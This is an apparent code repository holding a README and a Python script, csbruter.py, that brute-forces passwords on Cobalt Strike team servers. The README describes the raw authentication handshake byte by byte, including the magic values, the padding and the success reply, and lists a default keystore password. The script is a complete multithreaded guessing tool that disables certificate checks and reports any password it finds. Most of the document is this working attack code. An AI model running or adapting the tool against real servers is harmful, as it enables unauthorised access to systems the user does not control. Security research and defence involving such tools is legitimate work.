├── README.md └── csbruter.py /README.md: -------------------------------------------------------------------------------- 1 | # csbruter.py 2 | 3 | Script to brute force Cobalt Strike team server passwords. 4 | 5 | ## Usage 6 | 7 | ``` 8 | python3 csbruter.py [-h] [-p PORT] [-t THREADS] host [wordlist] 9 | ``` 10 | 11 | Default port is 50050. Wordlist can be supplied via stdin as such: 12 | 13 | ``` 14 | cat wordlist.txt | python3 csbruter.py 192.168.1.1 15 | ``` 16 | 17 | Tested at up to 138 attempts per second. 18 | 19 | ## Issue 20 | 21 | Cobalt Strike team server has no mitigation for password brute force 22 | attacks. 23 | 24 | ### Mitigation Update 25 | 26 | Cobalt Strike 3.10 (Released Dec 11, 2017) imposes a 1 second delay between attempts as a mitigation for this attack. 27 | 28 | ## Background 29 | 30 | The Cobalt Strike team server requires two types of authentication. The 31 | first is a raw data type of authentication ostensibly used to protect 32 | the socket. The second is a Java serialized object based authentication 33 | which includes the mostly symbolic user name. This script attempts to 34 | brute force the former authentication type, which includes no rate 35 | limiting or account lockout mechanism. 36 | 37 | Both of these authentication types are wrapped in an SSL socket, with 38 | a certificate containing following subject: 39 | 40 | ``` 41 | /C=Earth/ST=Cyberspace/L=Somewhere/O=cobaltstrike/OU=AdvancedPenTesting/CN=Major Cobalt Strike 42 | ``` 43 | 44 | This certificate is baked into the Cobalt Strike Java Keystore 45 | cobaltstrike.store, which is easier to change if you use one of the 46 | default keystore passwords: 123456 47 | 48 | The first authentication request is defined roughly as such in a fixed 49 | 261 byte length command: 50 | 51 | ``` 52 | 4 Byte Magic \x00\x00\xBE\xEF 53 | 1 Byte Password Length (unsigned int) 54 | Password (unsigned int cast char array) 55 | Padding \x65 "A" * ( Length( Password ) - 256 ) 56 | ``` 57 | 58 | Which, on the wire, looks roughly like this, however the padding is 59 | ignored and can be anything. The authentication routine will read up to 60 | 256 of Length. 61 | 62 | ``` 63 | \x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA 64 | ``` 65 | 66 | If the password supplied matches the password defined when starting the 67 | team server, the team server replies with a 4 byte magic. This password 68 | can not be empty (zero length). 69 | 70 | ``` 71 | \x00\x00\xCA\xFE 72 | ``` 73 | 74 | Otherwise, the team server returns null 75 | 76 | ``` 77 | \x00\x00\x00\x00 78 | ``` 79 | 80 | Once this phase is completed successfully, the team server expects a 81 | serialized object class called Request. 82 | 83 | On the team server, the following log entries are sent to stdout during 84 | brute force authentication. 85 | 86 | Invalid password: 87 | ``` 88 | [-] rejected client from 192.168.1.1: invalid password 89 | ``` 90 | 91 | Valid password: 92 | ``` 93 | [!] Trapped java.io.EOFException during client (192.168.1.1) read [Manage: unauth'd user]: null 94 | ``` 95 | 96 | An error is thrown because the socket is closed immediately after an 97 | attempt. 98 | -------------------------------------------------------------------------------- /csbruter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import time 4 | import socket 5 | import ssl 6 | import argparse 7 | import concurrent.futures 8 | import sys 9 | 10 | # csbrute.py - Cobalt Strike Team Server Password Brute Forcer 11 | 12 | # https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-to-properly-require-a-minimal-python-versi 13 | 14 | MIN_PYTHON = (3, 3) 15 | if sys.version_info < MIN_PYTHON: 16 | sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) 17 | 18 | parser = argparse.ArgumentParser() 19 | 20 | parser.add_argument("host", 21 | help="Teamserver address") 22 | parser.add_argument("wordlist", nargs="?", 23 | help="Newline-delimited word list file") 24 | parser.add_argument("-p", dest="port", default=50050, type=int, 25 | help="Teamserver port") 26 | parser.add_argument("-t", dest="threads", default=25, type=int, 27 | help="Concurrency level") 28 | 29 | args = parser.parse_args() 30 | 31 | # https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-python-socket 32 | 33 | 34 | class NotConnectedException(Exception): 35 | def __init__(self, message=None, node=None): 36 | self.message = message 37 | self.node = node 38 | 39 | 40 | class DisconnectedException(Exception): 41 | def __init__(self, message=None, node=None): 42 | self.message = message 43 | self.node = node 44 | 45 | 46 | class Connector: 47 | def __init__(self): 48 | self.sock = None 49 | self.ssl_sock = None 50 | self.ctx = ssl.SSLContext() 51 | self.ctx.verify_mode = ssl.CERT_NONE 52 | pass 53 | 54 | def is_connected(self): 55 | return self.sock and self.ssl_sock 56 | 57 | def open(self, hostname, port): 58 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 59 | self.sock.settimeout(10) 60 | self.ssl_sock = self.ctx.wrap_socket(self.sock) 61 | 62 | if hostname == socket.gethostname(): 63 | ipaddress = socket.gethostbyname_ex(hostname)[2][0] 64 | self.ssl_sock.connect((ipaddress, port)) 65 | else: 66 | self.ssl_sock.connect((hostname, port)) 67 | 68 | def close(self): 69 | if self.sock: 70 | self.sock.close() 71 | self.sock = None 72 | self.ssl_sock = None 73 | 74 | def send(self, buffer): 75 | if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") 76 | self.ssl_sock.sendall(buffer) 77 | 78 | def receive(self): 79 | if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") 80 | received_size = 0 81 | data_buffer = b"" 82 | 83 | while received_size < 4: 84 | data_in = self.ssl_sock.recv() 85 | data_buffer = data_buffer + data_in 86 | received_size += len(data_in) 87 | 88 | return data_buffer 89 | 90 | 91 | def passwordcheck(password): 92 | if len(password) > 0: 93 | result = None 94 | conn = Connector() 95 | conn.open(args.host, args.port) 96 | payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes( 97 | bytes(password, "ascii").ljust(256, b"A")) 98 | conn.send(payload) 99 | if conn.is_connected(): result = conn.receive() 100 | if conn.is_connected(): conn.close() 101 | if result == bytearray(b"\x00\x00\xca\xfe"): 102 | return password 103 | else: 104 | return False 105 | else: 106 | print("Ignored blank password") 107 | 108 | passwords = [] 109 | 110 | if args.wordlist: 111 | print("Wordlist: {}".format(args.wordlist)) 112 | passwords = open(args.wordlist).read().split("\n") 113 | else: 114 | print("Wordlist: {}".format("stdin")) 115 | for line in sys.stdin: 116 | passwords.append(line.rstrip()) 117 | 118 | if len(passwords) > 0: 119 | 120 | print("Word Count: {}".format(len(passwords))) 121 | print("Threads: {}".format(args.threads)) 122 | 123 | start = time.time() 124 | 125 | # https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python 126 | 127 | attempts = 0 128 | failures = 0 129 | 130 | with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: 131 | 132 | future_to_check = {executor.submit(passwordcheck, password): password for password in passwords} 133 | for future in concurrent.futures.as_completed(future_to_check): 134 | password = future_to_check[future] 135 | try: 136 | data = future.result() 137 | attempts = attempts + 1 138 | if data: 139 | print("Found Password: {}".format(password)) 140 | except Exception as exc: 141 | failures = failures + 1 142 | print('%r generated an exception: %s' % (password, exc)) 143 | 144 | print("Attempts: {}".format(attempts)) 145 | print("Failures: {}".format(failures)) 146 | finish = time.time() 147 | print("Seconds: {:.1f}".format(finish - start)) 148 | print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start))) 149 | else: 150 | print("Password(s) required") 151 | --------------------------------------------------------------------------------